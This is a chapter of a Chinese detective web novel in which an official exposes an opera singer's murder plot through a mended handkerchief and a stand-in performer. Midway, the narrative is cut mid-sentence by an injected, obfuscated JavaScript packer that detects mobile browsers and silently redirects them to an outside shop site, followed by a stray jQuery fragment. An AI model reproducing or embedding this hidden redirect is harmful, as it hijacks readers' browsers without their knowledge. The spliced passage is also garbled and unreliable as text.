云珩将信接过来细细看了,立刻收了信,叫上千寻去灵凤班。
抵达灵凤班,梅三和灵犀一起出来接待他们。
云珩瞧见灵犀手上的帕子愣了一下,问道:“灵犀姑娘手上的帕子瞧着很是精致,是在哪里买的?”
“这条吗?”灵犀将手帕放在手上瞧了瞧,回道,“这是当日大人您成婚之日,长公主送的伴手礼,我们灵凤班每人一条呢。大人不知吗?”
云珩将手帕取来细细看了,最终摇摇头还给她:“竟然是出自我们府上,我还以为是在外面买的,想着回去之后也给我夫人买一条赠予她。”
“云大人同夫人真是伉俪情深,羡煞旁人呐。”梅三恭维一句,又遗憾摇头,“可惜我家小女没有这样的福气。”
云珩道:“崔大人人中龙凤,品行高洁。近日家中诸多变故这才性情大变,待事情了解,想必会给灵犀姑娘一个交代的。”
梅三遗憾的摇摇头:“多谢云大人宽慰,但此番想来是无望了。今日崔大人来灵凤班寻我们,想叫我们近日便离开京都,不然就要报官抓了小女。”
他苦笑道:“是小人当时痴心妄想,想叫小女过好日子,不用跟着小人四处奔波,这才叫她做了旁人妾氏。如今想来,也是给小人一个教训罢了。”
灵犀满脸落寞的垂下眸子,揉着帕子魂不守舍。
“崔朗何时来的?”云珩惊讶。
梅三道:“就在大人过来前不久,他看起来怒气冲冲,在我们这里发了好大的脾气,不久便又气冲冲的走了。”
云珩蹙眉,一时有些拿不定主意。
他此番是来抓灵犀的,他本以为崔夫人是灵犀杀死的,可灵犀的帕子在手里,他也细细的看过了,这条帕子并没有破损,可见当时迷晕崔夫人的不是这条帕子。
那到底是灵犀将帕子换了,还是凶手另有其人呢?
“云大人?”
梅三唤他,踟蹰道,“不知云大人突然造访,所为何事?”
“哦,本来是想等我与夫人回门那日,请梅老板去府上唱戏。”云珩随便扯了个谎,问他,“不知梅老板打算哪日离京?”
梅三算了算日子,摇头道:“实在是遗憾,我们打算三日后离京,后日再演最后一晚,给喜爱灵凤班的父老乡亲们一个交代。若是令夫人不嫌弃,届时可来灵凤班一听,小人给她留个雅间。”
云珩笑笑:“多谢,我回去便将此事告知于她。”
梅三道了一句荣幸,见云珩不欲多留,便亲自将他送了出去。
上了马车,云珩就蔫了。
本以为能拿人了,竟然白跑一趟。
他靠在车壁上,烦躁的挥了挥衣袖,闭目养神。
回到府上,他就闷闷不乐的去寻宋晚,将自己出去这一趟同她说了。
最终叹息一声:“难道我真的不是当官的料吗?明明就是灵犀杀的人,为何我就是找不到她杀人的证据?”
宋晚心中早有打算,正想告知他那帕子或许有猫腻,便见他衣袖上抽了一根线。
她心中有了主意,佯装惊讶道L:“你这衣袖是怎么回事?怎么抽线了?快脱下来我瞧瞧。”
云珩这才发现衣袖上抽了线,想到刚才在马车上好像是挂了一下衣服,便说道:“应该是在马车上挂坏的,还能补好吗?”
官服可就这一身,若是补不好了,他日后就要穿着破掉的衣服出去见人,那也太丢人了。
宋晚一边帮他脱衣服,一边回道:官服不是什么珍稀的料子,寻了线来补上就是。你先脱下来我瞧瞧。”
春岚早就有眼力见儿的将针线取了来。
宋晚将其衣裳铺平了好生瞧了瞧,道:“并无大碍,寻了线补上便是。”
她想亲自动手,被春岚拦住了:“少夫人,还是奴婢来吧,天色晚了,仔细伤了眼睛。”
宋晚一想,春岚的手艺确实是比自己好上许多,便应允了去。
她这才同云珩道:“衣裳抽线,补上就是。你说的帕子破了,也是可以补的,不过帕子用料比寻常衣物金贵,也薄上许多,须得针线手艺极好的人才可以。”
“就母亲送过来的那几条帕子,你们可以补吗?”云珩问道。
宋晚道:“我的手艺是不行的,但是春岚可以。她的针线活儿是跟宫里的绣娘学的,很是不错。”
云珩顿时又有了信心:“既然如此,只要能证明灵犀将那条帕子修补过,就可以光明正大的抓她了!”
“也有可能她又买了一条也不一定呢。”宋晚笑着回道,“那料子金贵,却也不是灵犀买不起的。更何况只是一条帕子,更花不了多少银钱了。”
云珩点头:“姐姐说的在理,我现在就让千寻去查。”
“哎,衣裳还没穿好呢,急什么!”宋晚叫住他。
恰好春岚将他的官袍送了过来,伺候他穿上。
云珩拎着衣袖找了半晌,也没找到方才勾线之处在何处,更是开心了。赏了屋里人一人一把金叶子,美滋滋的出门去同千寻办案去了。
两日后,云珩带着宋晚并沈觅双和云玥三人来到灵凤班。
此时灵凤班外面已经围了许多人,皆是听闻这是灵凤班最后一场演出,慕名而来。
梅三很是热情的将云珩等人迎了进去,并叫人上了上好的茶点。
“多谢大人和两位夫人小姐来捧场,灵凤班能有今日辉煌,也是托了长公主的福,梅三在此谢过长公主殿下。”
“梅老板客气了。”云珩摆摆手,左右瞧了瞧,问,“崔大人可过来了?”
“谁?”梅三一愣。
云珩道:“崔朗崔大人啊。我同他说了梅老板你们要走的消息,他说下职之后便过来,我邀请他同我坐在一处。怎么,他还没来吗?”
梅三摇摇头,面上很是疑惑:“他……崔大人说过不想再见到小人同小女,应该不会前来吧?不知大人是在何时同崔大人说起的此事?”
“就是今日。”云珩道,“今日我兄长的折子忘在家中,我去给他送,正巧碰到了崔大人,便顺口同他说起此事。”
他摆摆手,笑着说道:“无妨,应当是回去换常服了,毕竟穿着官服来听戏,怕被御史台那些老头子骂吧哈哈哈。”
梅三陪着笑脸笑了笑,几人又说了几句有的没的,梅三便告辞离开。
很快,外面戏台上便唱起了戏词,一行人兴致勃勃的看着。
半个时辰后,千寻悄然进门,凑在云珩耳边小声说了几句话,云
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13750348|141026||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
珩点点头,千寻便出去了。
云珩并没有动作,直到听完了最后一场,他这才伸个懒腰站起身来。
此时,大家都互相交谈着往外走去,丝毫没有注意到一辆马车停在了灵凤班的后门上。
戏台上的花旦瞧见云珩还不打算走,便走过来轻声问道:“云大人,今日的曲目已经全部唱完,大人可自行方便。”
“嗯。”云珩应着,“我等梅老板和灵犀姑娘回来。”
来人一愣。
云玥也愣了:“灵犀姑娘这不就站在你面前吗?怎么还要等?”
云珩笑眯眯的看着她:“傻了不是?这二人虽然身段和唱腔很是相似,却分明是不同的两个人,你怎么能认错了?”
“可灵犀姑娘不是灵凤班的台柱子吗?这出《凤求凰》只有她会唱啊。”云玥不解。
云珩问她:“是谁说这出戏只有灵犀姑娘会?”
“灵凤班的人说的啊……”云玥呆呆地回道。
“这不就结了吗?他们撒谎罢了。”云珩凑近那人,笑眯眯的问道,“是不是啊?九儿姑娘?”
“啊——”
来人吓的腿一软便瘫坐在地上,瑟瑟发抖着,一句话都说不出来。
这下,云玥再不相信也难了。
她将宋晚同沈觅双护在身后,小心的问道:“这到底是怎么回事啊?为什么唱戏的不是灵犀姑娘?这不是欺骗咱们吗?梅老板呢?叫他来给个说法!”
“梅老板来了。”云珩看着不远处,千寻同大理寺的人押解过来的两人。
梅三身上和脸上都挂了彩,面无表情的看着云珩,问他:“你是什么时候知晓的?”
“知晓什么?灵犀杀了崔夫人吗?”云珩问道。
梅老板没说话。
云珩并不在意,自己继续说道:“是在那日我来听戏,你邀请我去你房中坐坐那日。”
梅老板皱眉,在思考那日到底是何处出了差错。
云珩笑道:“别想了,不是你露出了马脚,是九儿姑娘告诉我的。”
瘫坐在地上的九儿身子一抖,没有说话。
“当日九儿来给我送茶,我瞧见了她用的帕子。那料子珍贵,不是凡品,恰好我在我母亲那里见过一回。回去之后我问嬷嬷,她说那料子做成了帕子,送给了灵凤班的人。”
“一条手帕而已,怎么就能证明是灵犀杀人?”梅三冷脸。
云珩勾唇:“一条手帕不能证明什么,可若是这手帕的丝线留在了崔夫人的鼻腔中呢?”
灵犀猛然抬起头来。
云珩很满意她的表情,继续慢条斯理的回答:“之前给崔夫人验尸,在她的鼻腔中发现了那根丝线,上面有蒙汗药的味道,所以我断定,凶手是先将崔夫人迷晕之后,又吊上房梁。这个说词,灵犀姑娘应当是听过了吧?”
灵犀抿着唇,没有说话。
云珩继续说道:“灵犀姑娘很是聪慧,在杀人之前早就布好了局。你早早的就决定在我成婚那日杀了崔夫人,所以,你在杀人的前一日故意将崔玥摔下马,用缰绳将她的手勒破,制造出她是凶手的证据。
然后,在我成婚当日,假装上台,实则李代桃僵,上台的是九儿,你回去崔府杀了崔夫人!”